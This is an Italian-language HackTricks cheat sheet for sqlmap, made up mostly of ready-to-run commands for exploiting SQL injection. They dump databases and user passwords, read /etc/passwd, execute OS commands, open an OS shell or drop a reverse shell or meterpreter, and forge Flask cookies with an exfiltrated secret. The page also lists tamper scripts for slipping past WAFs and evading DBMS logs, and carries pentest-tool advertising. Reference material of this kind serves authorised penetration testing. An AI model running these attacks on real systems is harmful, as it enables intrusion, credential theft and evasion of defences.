hacktricks/pentesting-web/sql-injection/sqlmap
2024-07-19 10:13:27 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/rop-return-oriented-progra 2024-05-08 16:31:27 +00:00
second-order-injection-sqlmap.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:27 +00:00

SQLMap - Cheetsheat

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.

{% embed url="https://pentest-tools.com/" %}

Argomenti di base per SQLmap

Generico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Recupero delle Informazioni

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Dati del database

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Posizione dell'iniezione

Da cattura Burp/ZAP

Cattura la richiesta e crea un file req.txt

sqlmap -r req.txt --current-user

Iniezione di richieste GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Iniezione di richieste POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Iniezioni negli Intestazioni e in altri Metodi HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indicare la stringa quando l'iniezione ha successo

--string="string_showed_when_TRUE"

Eval

Sqlmap permette l'uso di -e o --eval per elaborare ogni payload prima di inviarlo con un oneliner python. Questo rende molto facile e veloce elaborare in modi personalizzati il payload prima di inviarlo. Nell'esempio seguente la sessione cookie di flask viene firmata da flask con il segreto conosciuto prima di inviarla:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

La shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Leggi File

--file-read=/etc/passwd

Esegui lo scraping di un sito web con SQLmap e auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Iniezione di secondo ordine

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Leggi questo postsu come eseguire iniezioni di secondo ordine semplici e complesse con sqlmap.

Personalizzazione dell'iniezione

Impostare un suffisso

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefisso

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aiuto per trovare l'iniezione booleana

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Manipolazione

Ricorda che puoi creare la tua manipolazione in python ed è molto semplice. Puoi trovare un esempio di manipolazione nella pagina Second Order Injection qui.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Descrizione
apostrophemask.py Sostituisce il carattere apostrofo con il suo corrispettivo a larghezza intera UTF-8
apostrophenullencode.py Sostituisce il carattere apostrofo con il suo corrispettivo doppio unicode illegale
appendnullbyte.py Aggiunge il carattere byte NULL codificato alla fine del payload
base64encode.py Codifica in Base64 tutti i caratteri in un determinato payload
between.py Sostituisce l'operatore maggiore di ('>') con 'NOT BETWEEN 0 AND #'
bluecoat.py Sostituisce il carattere spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE
chardoubleencode.py Doppia la codifica URL di tutti i caratteri in un determinato payload (senza elaborare già codificati)
commalesslimit.py Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M'
commalessmid.py Sostituisce istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)'
concat2concatws.py Sostituisce istanze come 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Codifica URL tutti i caratteri in un determinato payload (senza elaborare già codificati)
charunicodeencode.py Codifica URL Unicode i caratteri non codificati in un determinato payload (senza elaborare già codificati). "%u0022"
charunicodeescape.py Codifica URL Unicode i caratteri non codificati in un determinato payload (senza elaborare già codificati). "\u0022"
equaltolike.py Sostituisce tutte le occorrenze dell'operatore uguale ('=') con l'operatore 'LIKE'
escapequotes.py Escape degli apici (' e ")
greatest.py Sostituisce l'operatore maggiore di ('>') con il corrispettivo 'GREATEST'
halfversionedmorekeywords.py Aggiunge un commento MySQL versionato prima di ogni parola chiave
ifnull2ifisnull.py Sostituisce istanze come 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Racchiude la query completa con un commento versionato
modsecurityzeroversioned.py Racchiude la query completa con un commento a versione zero
multiplespaces.py Aggiunge spazi multipli attorno alle parole chiave SQL
nonrecursivereplacement.py Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (ad es. .replace("SELECT", "")) filtri
percentage.py Aggiunge un segno di percentuale ('%') davanti a ciascun carattere
overlongutf8.py Converte tutti i caratteri in un determinato payload (senza elaborare già codificati)
randomcase.py Sostituisce ciascun carattere della parola chiave con un valore di caso casuale
randomcomments.py Aggiunge commenti casuali alle parole chiave SQL
securesphere.py Aggiunge una stringa speciale articolata
sp_password.py Aggiunge 'sp_password' alla fine del payload per l'offuscamento automatico dai log del DBMS
space2comment.py Sostituisce il carattere spazio (' ') con commenti
space2dash.py Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una stringa casuale e una nuova riga ('\n')
space2hash.py Sostituisce il carattere spazio (' ') con un carattere cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n')
space2morehash.py Sostituisce il carattere spazio (' ') con un carattere cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n')
space2mssqlblank.py Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi
space2mssqlhash.py Sostituisce il carattere spazio (' ') con un carattere cancelletto ('#') seguito da una nuova riga ('\n')
space2mysqlblank.py Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi
space2mysqldash.py Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n')
space2plus.py Sostituisce il carattere spazio (' ') con il simbolo più ('+')
space2randomblank.py Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi
symboliclogical.py Sostituisce gli operatori logici AND e OR con i loro corrispettivi simbolici (&& e
unionalltounion.py Sostituisce UNION ALL SELECT con UNION SELECT
unmagicquotes.py Sostituisce il carattere apice (') con una combinazione multibyte %bf%27 insieme a un commento generico alla fine (per farlo funzionare)
uppercase.py Sostituisce ciascun carattere della parola chiave con il valore in maiuscolo 'INSERT'
varnish.py Aggiunge un'intestazione HTTP 'X-originating-IP'
versionedkeywords.py Racchiude ciascuna parola chiave non di funzione con un commento MySQL versionato
versionedmorekeywords.py Racchiude ciascuna parola chiave con un commento MySQL versionato
xforwardedfor.py Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For'

Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.

{% embed url="https://pentest-tools.com/" %}

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: